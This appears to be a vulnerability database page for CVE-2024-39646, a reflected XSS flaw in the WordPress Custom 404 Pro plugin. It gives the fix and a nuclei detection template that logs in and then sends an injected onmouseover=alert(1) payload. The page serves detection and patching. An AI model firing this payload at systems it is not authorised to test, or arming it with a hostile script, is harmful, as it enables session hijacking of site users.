HexBrain

Browse / CVEs / CVE-2024-39646

CVE-2024-39646· kunalnagar / custom 404 pro· CWE-79

WordPress Custom 404 Pro <= 3.11.1 - Reflected XSS

highseverity
7.1CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kunal Nagar Custom 404 Pro allows Reflected XSS.This issue affects Custom 404 Pro: from n/a through 3.11.1.

Impact

Attackers can execute arbitrary scripts in victims' browsers, leading to session hijacking, defacement, or redirection.

Fix

Update to version 3.11.2 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains_all(header, "wordpress_logged_in_")
Send: GET /wp-admin/admin.php?page=c4p-main&c4pmessage=hello&c4pmessageType=%22%20onmouseover%3Dalert(1)%20
Positive when: contains "\" onmouseover=alert(1)" AND contains in content_type "text/html"

Run it with nuclei: nuclei -id CVE-2024-39646 -u <target>

The full check
id: CVE-2024-39646

info:
  name: WordPress Custom 404 Pro <= 3.11.1 - Reflected XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kunal Nagar Custom 404 Pro allows Reflected XSS.This issue affects Custom 404 Pro: from n/a through 3.11.1.
  impact: |
    Attackers can execute arbitrary scripts in victims' browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 3.11.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-404-pro/custom-404-pro-3111-reflected-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset?old_path=/custom-404-pro/tags/3.11.1&new_path=/custom-404-pro/tags/3.11.2&sfp_email=&sfph_mail=
    - https://patchstack.com/database/vulnerability/custom-404-pro/wordpress-custom-404-pro-plugin-3-11-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-39646
    cwe-id: CWE-79
    epss-score: 0.00624
    epss-percentile: 0.50253
    cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunalnagar
    product: custom_404_pro
    framework: wordpress
  tags: wordpress,wp-plugin,xss,authenticated,cve,cve2024,custom-404-pro,vkev,vuln

flow: http(1) && http(2)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=c4p-main&c4pmessage=hello&c4pmessageType=%22%20onmouseover%3Dalert(1)%20 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '" onmouseover=alert(1)'

      - type: word
        part: content_type
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from